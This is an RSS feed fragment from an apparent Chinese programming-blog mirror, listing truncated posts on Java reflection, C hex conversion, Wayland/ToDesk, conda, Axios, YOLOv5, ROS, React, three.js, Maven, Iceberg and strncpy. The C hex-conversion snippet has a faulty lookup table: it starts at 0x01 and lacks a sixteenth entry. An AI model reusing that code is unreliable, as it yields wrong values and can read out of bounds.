获取该类中所有声明的字段，包括私有字段。返回一个 Field 对象数组。 代码示例 // 获取公有字段（含继承的，不含私有的） Field publicField = MyClass.class.getField(&#34;publicField&#34;); System.out.println(&#34;Public Field: &#34; + publicField); // 获取所有公有字段（含继承的，不含私有的） Field[] publicFields = MyClass.class.getFields(); System.out.println(&#34;All Public Fields: &#34;); for (Field field : publicFields) { System.</description>
    </item>
    <item>
      <title>C语言10进制与16进制转换</title>
      <link>https://bchobby.github.io/posts/becfa05b8c5de8e2b79ac5aeef6379e0/</link>
      <pubDate>Tue, 21 Nov 2023 18:18:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/becfa05b8c5de8e2b79ac5aeef6379e0/</guid>
      <description>在做一个模拟量模块的485通讯时，控制模拟量输出的协议格式是将需要输出的真实电压值（0~10V）数据扩大1000倍后转换成16进制数据，一般情况数据转换后为4位16进制数据（0xWXYZ），协议需要的是两个2位的数据0xWX和0xYZ，由此写出以下代码&#xA;#include &amp;lt;stdio.h&amp;gt; unsigned int DATA_HEX; unsigned int DATA_H; unsigned int DATA_L; unsigned int HEX_TEMP[] = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F}; unsigned int HEX_ARR[4];//我的数据只需要4位16进制数据 void HEX_TO_DEC(unsigned int val) { unsigned int i = 0; while(val) { HEX_ARR[i++] = HEX_TEMP[val%16]; val /= 16; } DATA_HEX = HEX_ARR[3]*0x1000 + HEX_ARR[2]*0x0100 + HEX_ARR[1]*0x0010 + HEX_ARR[0];//4位16进制 DATA_H = HEX_ARR[3]*0x10 + HEX_ARR[2];//2位16进制 DATA_L = HEX_ARR[1]*0x10 + HEX_ARR[0]; } int main() { unsigned int val = 5036;//待转换数据，16进制表示位0x13AC HEX_TO_DEC(val);//转换 //打印结果 printf(&#34;</description>
    </item>
    <item>
      <title>当前系统并无桌面环境，或无显示器，无法显示远程桌面，您需要自行安装X11桌面环境，或者使用终端文件功能</title>
      <link>https://bchobby.github.io/posts/47b9ccac2bdb63d23d591ef27fe9e6f9/</link>
      <pubDate>Tue, 21 Nov 2023 17:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47b9ccac2bdb63d23d591ef27fe9e6f9/</guid>
      <description>ToDesk远程遇到的问题如上图，换向日葵直接黑屏；&#xA;问题原因&#xA;截止发文时间，Todesk只支持X11协议，没有适配最新的Wayland协议，所以我们需要把窗口系统调整为X11才可以。&#xA;解决方法&#xA;修改配置文件，关闭wayland&#xA;sudo vim /etc/gdm3/custom.conf&#xA;1.把#WaylandEnable=false前的#号删掉&#xA;重启&#xA;reboot&#xA;重启完成后，todesk就可以远程连接了。&#xA;背景知识&#xA;我们能看到的图形界面（GUI）都依赖于显示服务器（Display Server）。显示服务器（Display Server）是任何图形用户界面（尤其是窗口系统）中的关键组件。它是图形用户界面（GUI）的基本组件，位于图形界面和内核之间。借助显示服务器（Display Server），我们才可以将计算机与GUI一起使用。没有它，我们将只能使用命令行界面（TTY）。&#xA;桌面环境(Gnome、KDE、Xfce、MATE等)使用了底层的显示服务器&#xA;因为X系列协议（X11表示X协议11代版本）已经存在很久了，有一些历史设计包袱。所以Linux为了更安全合理。Ubuntu 21.04之后，现在默认启用Wayland协议了。但是也正因为X11协议已经在市场上存续了很多年，所以很多软件还是基于X11实现的，这就导致了一些不兼容的问题。在未来或许还是Wayland协议的天下。</description>
    </item>
    <item>
      <title>【概率论】正态分布的叠加性和正态分布的标准化</title>
      <link>https://bchobby.github.io/posts/56ced15287a2101df5436f82d44b5c43/</link>
      <pubDate>Tue, 21 Nov 2023 16:43:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56ced15287a2101df5436f82d44b5c43/</guid>
      <description>目录 1 引言2 什么是正态分布2 正态分布的叠加性3 正态分布的标准化4 参考文献 1 引言 正态分布又称为高斯分布，它在机器学习和深度学习中非常常用。如正态分布的叠加性和正态分布的标准化等，在VAE模型中重参技巧就用到了正态分布知识，特别是在高维数据中高维的正态分布更是常用。因此，准备梳理一下相应的知识，其中内容多有参考其他博客，一并在参考文献中给出链接。&#xA;2 什么是正态分布 正态分布（Normal distribution），又名高斯分布（Gaussian distribution）。若随机变量 X X X服从一个数学期望（均值）为 μ μ μ、方差为 σ 2 σ^2 σ2的正态分布，记为 N ( μ , σ 2 ) N(μ, σ^2) N(μ,σ2)。其概率密度函数为正态分布的期望值 μ μ μ决定了其位置，其标准差 σ σ σ决定了分布的幅度。当 μ = 0 μ = 0 μ=0, σ = 1 σ = 1 σ=1时的正态分布是标准正态分布。&#xA;一维正态分布的概率密度函数为：&#xA;f ( x ) = 1 2 π σ exp ⁡ ( − ( x − μ ) 2 2 σ 2 ) f(x)=\frac{1}{\sqrt{2 \pi} \sigma} \exp \left(\frac{-(x-\mu)^{2}}{2 \sigma^{2}}\right) f(x)=2π ​σ1​exp(2σ2−(x−μ)2​)</description>
    </item>
    <item>
      <title>conda在Py配置环境中报错:The current user does not have write permissions to the target environment当前用户没有写入权限</title>
      <link>https://bchobby.github.io/posts/eaa428055c18ea881b4bd4f09b9ecb1c/</link>
      <pubDate>Tue, 21 Nov 2023 16:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaa428055c18ea881b4bd4f09b9ecb1c/</guid>
      <description>问题1:在Winodws 10下使用pycharm2022配置环境时报错：”EnvironmentNotWritableError: The current user does not have write permissions to the target environment. location：&#xA;问题2:以及配置环境过程中可执行文件出现anaconda根目录下的_conda.exe或者Scripts的conda.exe为无效,无法使用conda的部分包。&#xA;主要原因1:用户没有对anaconda3文件夹的读写权限，造成其原因可能是由于在安装anaconda时使用了管理员权限&#xA;主要原因2:用户没有对anaconda进行系统环境配置&#xA;解决方法1：将pycharm配置环境中的位置加载为C盘目录的用户名下，anaconda安装时会产生一个conda的文件夹，此时就不会报错权限问题&#xA;解决方法2：打开高级系统设置，将系统环境以及path配置好&#xA;-添加环境变量（G:\anaconda为我自己的conda安装目录） condaRootPath E:\anaconda&#xA;path路径新建内容&#xA;%condaRootPath%&#xA;%condaRootPath%\Scripts\&#xA;%condaRootPath%\Library\bin\&#xA;%condaRootPath%\Library\mingw-w64\bin\</description>
    </item>
    <item>
      <title>Vue 中简易封装网络请求（Axios），包含请求拦截器和响应拦截器</title>
      <link>https://bchobby.github.io/posts/7ad0fe3fcc79fec1e3fe428099e51033/</link>
      <pubDate>Tue, 21 Nov 2023 16:26:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ad0fe3fcc79fec1e3fe428099e51033/</guid>
      <description>Vue 中简易封装网络请求（Axios），包含请求拦截器和响应拦截器 axios简介 Axios 是一个基于 promise 的网络请求库，可以用于浏览器和 node.js&#xA;Axios官方中文文档&#xA;特性 从浏览器创建 XMLHttpRequests从 node.js 创建 http 请求支持 Promise API拦截请求和响应转换请求和响应数据取消请求超时处理查询参数序列化支持嵌套项处理自动将请求体序列化为：&#xA;JSON (application/json)&#xA;Multipart / FormData (multipart/form-data)&#xA;URL encoded form (application/x-www-form-urlencoded)将 HTML Form 转换成 JSON 进行请求自动转换JSON数据获取浏览器和 node.js 的请求进度，并提供额外的信息（速度、剩余时间）为 node.js 设置带宽限制兼容符合规范的 FormData 和 Blob（包括 node.js）客户端支持防御XSRF 安装 npm install axios; 示例代码 https.js&#xA;import axios from &#34;axios&#34;; // const token = localStorage.getItem(&#34;accessToken&#34;); export const https = axios.create({ baseURL: &#34;http://localhost:3000&#34;, timeout: 15000, headers: {}, }); // 添加请求拦截器 https.</description>
    </item>
    <item>
      <title>计算机类编程课学生编写的代码应该如何管理</title>
      <link>https://bchobby.github.io/posts/d7da0b41875682495d8a8210c09579b8/</link>
      <pubDate>Tue, 21 Nov 2023 15:09:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7da0b41875682495d8a8210c09579b8/</guid>
      <description>管理学生编写的代码是一个重要的任务，以下是几种常见的方式来有效地管理学生的代码：&#xA;版本控制系统：使用版本控制系统（如Git）来管理学生的代码。每个学生都可以在自己的分支上进行开发，并通过提交请求（pull request）将代码合并到主干分支。这样可以轻松跟踪代码的修改历史，并提供一个集中的代码库进行协作和审查。&#xA;项目结构规范：定义一套统一的项目结构规范，包括文件命名约定、目录结构等。这样可以使代码更易于理解和维护，并提高团队合作效率。&#xA;代码审查：定期对学生的代码进行审查，发现问题并提出改进建议。代码审查有助于提高代码质量、规范性和可读性，并促进学生之间的知识分享和学习。&#xA;文档和注释：鼓励学生编写清晰的文档和注释，以解释代码的功能、设计思路和关键逻辑。这有助于其他人理解代码，并为日后的维护工作提供帮助。&#xA;集成开发环境（IDE）：推荐学生使用功能强大的集成开发环境，如PyCharm、Visual Studio Code等。这些IDE提供了许多有用的工具和功能，如调试器、代码自动完成等，可以提高编写代码的效率和质量。&#xA;定期备份：确保学生的代码定期进行备份，以防止意外数据丢失或损坏。可以使用云存储服务（如GitHub、GitLab等）或本地备份方案来保护代码。&#xA;持续集成（CI）：使用持续集成工具（如Jenkins、Travis CI等）来自动化构建、测试和部署学生的代码。这可以帮助及早发现和解决潜在问题，并提高代码交付的质量和稳定性。&#xA;以上是一些建议来管理学生编写的代码。通过合理的管理和规范，可以提高学生的编程能力，促进团队合作，并为日后的工作打下良好的基础。</description>
    </item>
    <item>
      <title>深度学习卫星遥感图像检测与识别 -opencv python 目标检测 计算机竞赛</title>
      <link>https://bchobby.github.io/posts/8d01b61ad15b423b93511137f2057ea2/</link>
      <pubDate>Tue, 21 Nov 2023 14:38:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d01b61ad15b423b93511137f2057ea2/</guid>
      <description>文章目录 0 前言1 课题背景2 实现效果3 Yolov5算法4 数据处理和训练5 最后 0 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 **深度学习卫星遥感图像检测与识别 **&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：5分 🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1 课题背景 近年来,世界各国大力发展航空航天事业,卫星图像的目标检测在各行各业的应用得到了快速的发展,特别是军事侦查、海洋船舶和渔业管理等领域。由于卫星图像中有价值的信息极少,卫星图像数据规模巨大,这迫切需要智能辅助工具帮助相关从业人员从卫星图像中高效获取精确直观的信息。&#xA;本文利用深度学习技术，基于Yolov5算法框架实现卫星图像目标检测问题。&#xA;2 实现效果 实现效果如下：可以看出对船只、飞机等识别效果还是很好的。&#xA;3 Yolov5算法 简介&#xA;下图所示为 YOLOv5 的网络结构图，分为输入端，Backbone，Neck 和 Prediction 四个部分。其中，&#xA;输入端包括 Mosaic 数据增强、自适应图片缩放、自适应锚框计算，Backbone 包括 Focus 结构、CSP&#xA;结 构，Neck 包 括 FPN+PAN 结 构，Prediction 包 括GIOU_Loss 结构。&#xA;相关代码&#xA;​&#xA;class Yolo(object): def __init__(self, weights_file, verbose=True): self.verbose = verbose # detection params self.S = 7 # cell size self.</description>
    </item>
    <item>
      <title>SSM框架Demo: 简朴博客系统</title>
      <link>https://bchobby.github.io/posts/138c9f449dab80191610ee237923025b/</link>
      <pubDate>Tue, 21 Nov 2023 13:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/138c9f449dab80191610ee237923025b/</guid>
      <description>文章目录 1. 前端页面效果2. 项目创建3. 前期配置3.1. 创建数据库数据表3.2. 配置文件 4. 创建实体类5. 统一处理5.1. 统一返回格式处理5.2. 统一异常处理 6. 全局变量7. Session工具类8. 登录拦截器9. 密码加盐加密10. 线程池组件11. dao层11.1. UserMapper11.2. ArticleMapper 12. 服务层service12.1. UserService12.2. ArticleService 13. 核心—控制层controller13.1. UserController13.1.1. 注册功能13.1.2. 登录功能13.1.3. 注销功能13.1.4. 判断当前用户是否登录 13.2. ArticleController13.2.1. 返回当前登录用户的文章列表13.2.2. 删除文章功能13.2.3. 查看文章详情功能13.2.4. 更新文章阅读量13.2.5. 添加文章13.2.6. 修改文章13.2.6.1. 页面初始化13.2.6.2. 发布修改后的文章 13.2.7. 根据分页来查询汇总列表 14. Session升级存储到Redis15. 项目部署16. 项目亮点 简朴博客系统：简单朴素… 1. 前端页面效果 ♨️注册页&#xA;包含以下用户信息：&#xA;用户名密码 ♨️登录页&#xA;包含以下用户信息：&#xA;用户名密码 ♨️文章详情页&#xA;登录状态下“登录”按钮变为“注销”按钮。&#xA;包含以下用户信息：&#xA;博文作者 id代码仓库链接文章总数 包含以下博文信息：&#xA;作者 id文章 id标题时间正文阅读量 ♨️个人博客列表页&#xA;包含以下博文信息：&#xA;标题时间摘要 ♨️文章汇总列表页</description>
    </item>
    <item>
      <title>ROS tf使用报错：ImportError: dynamic module does not define module export function (PyInit__tf2)</title>
      <link>https://bchobby.github.io/posts/707a486e9e90139e8b2c883aefe8a399/</link>
      <pubDate>Tue, 21 Nov 2023 12:59:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/707a486e9e90139e8b2c883aefe8a399/</guid>
      <description>研究小车导航需要用到GPS，小车的系统是ubuntu16.04，python3的默认版本是3.5，ROS是kinetic版本。 随笔 买了一块GPS+惯导模块进行使用，商家提供的教程和例子可以直接通过ROS获取GPS及IMU等数据，但是需要以来tf2包，能看到这篇文章，说明你清楚的知道这是一个好难受的事情，因为这个问题在ubuntu20.04被解决了，甚至ubuntu18.04解决起来也很简单（笔者现在18.04服务器上解决了这个问题：参考知乎一路绿通：解决python3无法使用ROS中tf的问题 - 知乎 (zhihu.com)）。&#xA;笔者预先有感觉ubuntu16.04会比18.04遇到很多问题，但也觉得就是遇到问题度娘来帮，不行还有ChatPGT打下手，结果发现还是年轻了，不得不重操旧业看起日志一步步解决了，这一篇文章中间会存在一些遗漏的点，因为笔者昨晚上从4点操作到了9点没有解决，早上来了又浪费了2小时才搞定最后一步的小问题，周期比较长所以只能凭剩余的印象来找补找补了。&#xA;回归正文：&#xA;问题 使用python 导入tf库时遇到如下的问题（基本上都是吧）&#xA;&amp;gt;&amp;gt;&amp;gt; import tf&#xA;Traceback (most recent call last):&#xA;File &#34;&amp;lt;stdin&amp;gt;&#34;, line 1, in &amp;lt;module&amp;gt;&#xA;File &#34;/opt/ros/kinetic/lib/python2.7/dist-packages/tf/__init__.py&#34;, line 28, in &amp;lt;module&amp;gt;&#xA;from tf2_ros import TransformException as Exception, ConnectivityException, LookupException, ExtrapolationException&#xA;File &#34;/opt/ros/kinetic/lib/python2.7/dist-packages/tf2_ros/__init__.py&#34;, line 38, in &amp;lt;module&amp;gt;&#xA;from tf2_py import *&#xA;File &#34;/opt/ros/kinetic/lib/python2.7/dist-packages/tf2_py/__init__.py&#34;, line 38, in &amp;lt;module&amp;gt;&#xA;from ._tf2 import *&#xA;ImportError: dynamic module does not define module export function (PyInit__tf2)</description>
    </item>
    <item>
      <title>react 组件进阶</title>
      <link>https://bchobby.github.io/posts/afbee11eb986198c7a557428c3333a4e/</link>
      <pubDate>Tue, 21 Nov 2023 12:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afbee11eb986198c7a557428c3333a4e/</guid>
      <description>目标：1.能够使用props接收数据&#xA;2.能够实现父子组建之间的通讯&#xA;3.能够实现兄弟组建之间的通讯&#xA;4.能够给组建添加props校验&#xA;5.能够说出生命周期常用的钩子函数&#xA;6.能够知道高阶组件的作用&#xA;一，组件通讯介绍 组件是独立且封闭的单元，默认情况下，只能使用组件自己的数据。在组件化过程中，我们将一个完整的功能拆分成多个组件，以更好的完成整个应用的功能，而在这个过程中，多个组件之间不可避免的要共享某些数据。为了实现这些功能，就需要打破组建的独立封闭性，让其与外界沟通，这个过程就是组件通讯。&#xA;二，组件的props 组建是封闭的，要接受外部数据应该通过props来实现&#xA;props的作用：接收传递给组件的数据&#xA;传递数据：给组件标签添加属性&#xA;接收数据：函数组件通过参数props接收数据，类组件通过this.props接受数据&#xA;组件的特点：&#xA;1.可以给组件传递任意类型的数据&#xA;2.props 是只读的对象，只能读取属性的值，无法修改对象&#xA;3.注意：使用类组建时，如果写了构造函数，应该将props传递给super（），否在无法在构造函数中获取到props。&#xA;三，组建通讯的三种方式 1.父组件 -&amp;gt; 子组件&#xA;1.父组件提供眼传递的state数据&#xA;2.给子组件标签添加属性，值为state 中的数据&#xA;3.子组件中通过props 接收父组建中传递的数据&#xA;2.子组件 -&amp;gt; 父组件&#xA;思路：利用回调函数，父组件提供回调，子组件调用，将要传递的数据作为回调函数的参数。&#xA;1.父组件提供一个回调函数（用于接受数据）&#xA;2.将该函数作为属性的值，传递给子组件&#xA;3.兄弟组件&#xA;将共享状态提升到最近的公共父组件中，由公共父组件管理这个状态&#xA;思路：状态提升&#xA;公共父组件职责，1，提供共享状态 2，提供操作共享状态的方法&#xA;要通讯的子组建只需要通过 props 接收状态或操作状态的方法&#xA;四，Context 思考：App组件要传递数据给Child 组件，该如何处理？&#xA;更好的姿势：使用 Context&#xA;作用：跨组件传递数据（比如：主题，语言等）&#xA;使用步骤：&#xA;1.调用React.createContext() 创建Provider（提供数据）和 Consumer （消费数据）两个组件&#xA;2.使用 Provider 组件作为父节点&#xA;3.设置value 属性，表示要传递的数据&#xA;4.调用Consumer 组件接收数据。&#xA;总结：&#xA;1.如果两个组件是远方亲戚（比如：嵌套多层）可以使用Context实现通讯&#xA;2.Context 提供李两个组件：Provider 和 Consumer 3.Provider 组件：用来提供数据&#xA;4.Consumer组建：用来消费数据&#xA;五，props深入 1.</description>
    </item>
    <item>
      <title>uniapp相关记录</title>
      <link>https://bchobby.github.io/posts/1ccd2441cdc5a9abd421ce1e36f70299/</link>
      <pubDate>Tue, 21 Nov 2023 11:49:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ccd2441cdc5a9abd421ce1e36f70299/</guid>
      <description>一、自定义我的物品组件 my_goods.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;view class=&#34;goods-item&#34;&amp;gt; &amp;lt;!-- 左侧 --&amp;gt; &amp;lt;view class=&#34;goods-item-left&#34;&amp;gt; &amp;lt;radio :checked=&#34;goods.goods_state&#34; color=&#34;#c00000&#34; v-if=&#34;showRadio&#34; @click=&#34;radioClickhandler&#34;&amp;gt;&amp;lt;/radio&amp;gt; &amp;lt;image :src=&#34;goods.goods_small_logo || defaultPic&#34; class=&#34;goods-pic&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;!-- 右侧 --&amp;gt; &amp;lt;view class=&#34;goods-item-right&#34;&amp;gt; &amp;lt;!-- 商品名字 --&amp;gt; &amp;lt;view class=&#34;goods-name&#34;&amp;gt;{{goods.goods_name}}&amp;lt;/view&amp;gt; &amp;lt;view class=&#34;goods-info-box&#34;&amp;gt; &amp;lt;view class=&#34;good-price&#34;&amp;gt;￥{{goods.goods_price}}&amp;lt;/view&amp;gt; &amp;lt;uni-number-box :min=&#34;1&#34; :max=&#34;9999&#34; :value=&#34;goods.goods_count&#34; v-if=&#34;showNum&#34; @change=&#34;numChangeHandler&#34;&amp;gt;&amp;lt;/uni-number-box&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props: { // 商品的信息对象 goods: { type: Object, defaul: {}, }, showRadio: { type: Boolean, // 默认不展示 radio 组件 default: false }, showNum: { type: Boolean, default: false } }, data() { return { // 默认的图片 defaultPic: &#39;https://img3.</description>
    </item>
    <item>
      <title>给物体添加自发光线框</title>
      <link>https://bchobby.github.io/posts/daf74309e71ac4ea162c9f0aa30e250e/</link>
      <pubDate>Tue, 21 Nov 2023 10:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daf74309e71ac4ea162c9f0aa30e250e/</guid>
      <description>export function makeOutlineLoop(points: THREE.Vector3[]) {&#xA;// 自发光材质&#xA;const material = new THREE.ShaderMaterial({&#xA;vertexShader: `&#xA;varying vec3 vPosition;&#xA;void main() {&#xA;vPosition = position;&#xA;gl_Position = projectionMatrix * modelViewMatrix * vec4(position, 1.0);&#xA;}&#xA;`,&#xA;fragmentShader: `&#xA;varying vec3 vPosition;&#xA;void main() {&#xA;float brightness = 1.0; // 自发光亮度调整&#xA;vec3 color = vec3(0.63, 0.63, 0.97); // 自发光颜色&#xA;gl_FragColor = vec4(color * brightness, 1.0);&#xA;}&#xA;`,&#xA;transparent: true,&#xA;depthTest: false,&#xA;depthWrite: false</description>
    </item>
    <item>
      <title>threejs导出obj模型</title>
      <link>https://bchobby.github.io/posts/13815c04d64a94d05fb9f9cac8919458/</link>
      <pubDate>Tue, 21 Nov 2023 10:36:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13815c04d64a94d05fb9f9cac8919458/</guid>
      <description>async exportObj() {&#xA;await mFurnitureArray.forEach(async (el: any) =&amp;gt; {&#xA;//转化为obj与mtl&#xA;let exporter = new OBJExporter();&#xA;let objData = exporter.parse(el.m_Object3D);&#xA;console.log(objData)&#xA;const objFileData = new Blob([objData], { type: &#39;text/plain&#39; });&#xA;//下载文件&#xA;const a = document.createElement(&#39;a&#39;);&#xA;a.href = URL.createObjectURL(objFileData);&#xA;a.download = &#39;wall.obj&#39;;&#xA;a.click();&#xA;let model = el.m_Object3D;&#xA;let materials:any = [];&#xA;model.traverse(function (child: any) {&#xA;if (child.isMesh) {&#xA;// 获取子对象的材质&#xA;var material = child.material;&#xA;// 将材质添加到材质数组中&#xA;if (Array.isArray(material)) {&#xA;materials.push(...material);&#xA;} else {</description>
    </item>
    <item>
      <title>Caused by: java.lang.ClassNotFoundException: org.apache.maven.exception.ExceptionHandler 的解决办法</title>
      <link>https://bchobby.github.io/posts/29c1e8529264c94bc5521e0ff0a952ea/</link>
      <pubDate>Mon, 20 Nov 2023 23:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29c1e8529264c94bc5521e0ff0a952ea/</guid>
      <description>问题概述 出现这个问题，是由于开发环境迁移，在迁移的过程中操作不规范导致的，&#xA;由一台开发服务器，迁移至另外一台开发服务器时，启动失败，&#xA;错误提示：“ Exception in thread &#34;main&#34; java.lang.NoClassDefFoundError: org/apache/maven/exception/ExceptionHandler ”&#xA;具体内容如下：&#xA;Exception in thread &#34;main&#34; java.lang.NoClassDefFoundError: org/apache/maven/exception/ExceptionHandler at java.base/java.lang.Class.getDeclaredMethods0(Native Method) at java.base/java.lang.Class.privateGetDeclaredMethods(Class.java:3166) at java.base/java.lang.Class.getMethodsRecursive(Class.java:3307) at java.base/java.lang.Class.getMethod0(Class.java:3293) at java.base/java.lang.Class.getMethod(Class.java:2106) at org.codehaus.plexus.classworlds.launcher.Launcher.getEnhancedMainMethod(Launcher.java:168) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced(Launcher.java:261) at org.codehaus.plexus.classworlds.launcher.Launcher.launch(Launcher.java:225) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode(Launcher.java:406) at org.codehaus.plexus.classworlds.launcher.Launcher.main(Launcher.java:347) Caused by: java.lang.ClassNotFoundException: org.apache.maven.exception.ExceptionHandler at org.codehaus.plexus.classworlds.strategy.SelfFirstStrategy.loadClass(SelfFirstStrategy.java:50) at org.codehaus.plexus.classworlds.realm.ClassRealm.unsynchronizedLoadClass(ClassRealm.java:271) at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:247) at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:239) ... 10 more 如下图：&#xA;解决办法 关于这个问题，是因为 Maven 的lib包损坏导致的，很难找到是那个lib包，&#xA;倒腾了很久，解决了这个lib包，又会报下一个lib包异常，&#xA;遇到死胡同，蝴蝶效应产生了，&#xA;找不完那个lib包，最简单直接的办法：&#xA;就是重新安装maven，注意：保存.m2的repository仓库，和maven的settings.xml（因为这里里面可能你很多的私有仓库地址，和账号密钥等）&#xA;maven apache 最新版本下载地址：&#xA;[官网最新版本下载地址]&#xA;CSDN apache-maven-3.9.5-bin windows 64bit x86下载</description>
    </item>
    <item>
      <title>iceberg学习笔记（2）—— 与Hive集成</title>
      <link>https://bchobby.github.io/posts/a9183b34cb66be4c20c438e57d241e5d/</link>
      <pubDate>Mon, 20 Nov 2023 22:18:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9183b34cb66be4c20c438e57d241e5d/</guid>
      <description>前置知识：&#xA;1.了解hadoop基础知识，并能够搭建hadoop集群 2.了解hive基础知识&#xA;3.Iceberg学习笔记（1）—— 基础知识-CSDN博客&#xA;可以参考：&#xA;Hadoop基础入门（1）：框架概述及集群环境搭建_THE WHY的博客-CSDN博客&#xA;Hive基础知识总结-CSDN博客&#xA;环境准备 hive和iceberg的适配关系&#xA;Hive 版本&#xA;官方推荐Hive版本&#xA;Iceberg 版本&#xA;2.x&#xA;2.3.8&#xA;0.8.0-incubating – 1.1.0&#xA;3.x&#xA;3.1.2&#xA;0.10.0 – 1.1.0&#xA;注意：&#xA;Iceberg与Hive 2和Hive 3.1.2/3的集成，支持以下特性：&#xA;创建表删除表读取表插入表（INSERT into） 更多功能需要Hive 4.x（目前alpha版本）才能支持&#xA;hive与iceberg的环境搭建：&#xA;1.上传jar包到hive的路径下：&#xA;mkdir auxlib cp iceberg-hive-runtime-1.1.0.jar /opt/module/hive/auxlib cp libfb303-0.9.3.jar /opt/module/hive/auxlib auxlib文件夹通常用于存放一些用户自定义的jar包，比如UDF、UDAF函数等&#xA;在hive-site.xml中可以通过hive.aux.jars.path参数绑定auxlib文件夹的路径&#xA;2.修改hive-site.xml，添加配置项&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;iceberg.engine.hive.enabled&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.aux.jars.path&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/opt/module/apache-hive-3.1.2-bin/auxlib&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 开启iceberg支持以及绑定jar包依赖&#xA;如果hive需要使用Tez引擎，注意事项如下：&#xA;1.使用Hive版本&amp;gt;=3.1.2，需要TEZ版本&amp;gt;=0.10.1&#xA;2.在hive-site.xml中指定tez更新配置：&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;tez.mrreader.config.update.properties&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hive.io.file.readcolumn.names,hive.io.file.readcolumn.ids&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 3.从Iceberg 0.11.0开始，如果Hive使用Tez引擎，需要关闭向量化执行 &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.vectorized.execution.enabled&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;false&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 有关Tez引擎：</description>
    </item>
    <item>
      <title>【C语法学习】25 - strncpy()函数</title>
      <link>https://bchobby.github.io/posts/9dea0b8246dfb21e22f170d1fc2b24a4/</link>
      <pubDate>Mon, 20 Nov 2023 17:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dea0b8246dfb21e22f170d1fc2b24a4/</guid>
      <description>文章目录 1 函数原型2 参数3 返回值4 使用说明5 示例5.1 示例15.2 示例2 1 函数原型 strncpy()：将str指向的字符串的前n个字符拷贝至dest指向的内存空间中，函数原型如下：&#xA;char *strncpy(char *dest, const char *src, size_t n); 2 参数 strncpy()函数有三个参数src、dest和n：&#xA;参数src是指向待拷贝字符串的指针，类型为char*型；参数dest是指向拷贝目的地的指针，类型为char*型；参数n是拷贝的字符数量，类型为size_t(unsigned int)型。 3 返回值 strncpy()函数的返回值类型为char*型，返回值为dest。&#xA;4 使用说明 如果src指向的字符串长度小于n，strncpy()函数在拷贝字符串时连同字符串末尾的空字符’\0’一起拷贝，并在拷贝后的字符串末尾填充空字符’\0’，凑齐n个字符；如果src指向的字符串长度大于n，strncpy()函数在拷贝字符串时仅拷贝字符串的前n个字符，且不在拷贝后的字符串末尾添加空字符’\0’。 C语言标准描述如下：&#xA;1. Copies at most count characters of the character array pointed to by src (including the terminating null character, but not any of the characters that follow the null character) to character array pointed to by dest. 2.</description>
    </item>
    <item>
      <title>多位数组转化为一维数组</title>
      <link>https://bchobby.github.io/posts/54df83553d6c208374f634fe2e8346ea/</link>
      <pubDate>Mon, 20 Nov 2023 16:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54df83553d6c208374f634fe2e8346ea/</guid>
      <description>三种实现方式： 方式一：使用generator实现 function* flat(data) { for (let i = 0; i &amp;lt; data.length; i++) { if (Array.isArray(data[i])) { yield* flat(data[i]) } else { yield data[i] } } } let data = [] for (let item of flat(a)) { data.push(item) } 方式二： 使用原生的方式 let data = [] function fn (a) { for (let i = 0; i &amp;lt; a.length; i++) { if (Array.isArray(a[i])) { fn(a[i]) } else { data.push(a[i]) } } } fn(a) 方式三： 借助于数组的flat方法 data = a.</description>
    </item>
    <item>
      <title>RocketMQ - 集群管理</title>
      <link>https://bchobby.github.io/posts/3c4be33ee622223acbdd54d758cadde1/</link>
      <pubDate>Mon, 20 Nov 2023 15:55:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c4be33ee622223acbdd54d758cadde1/</guid>
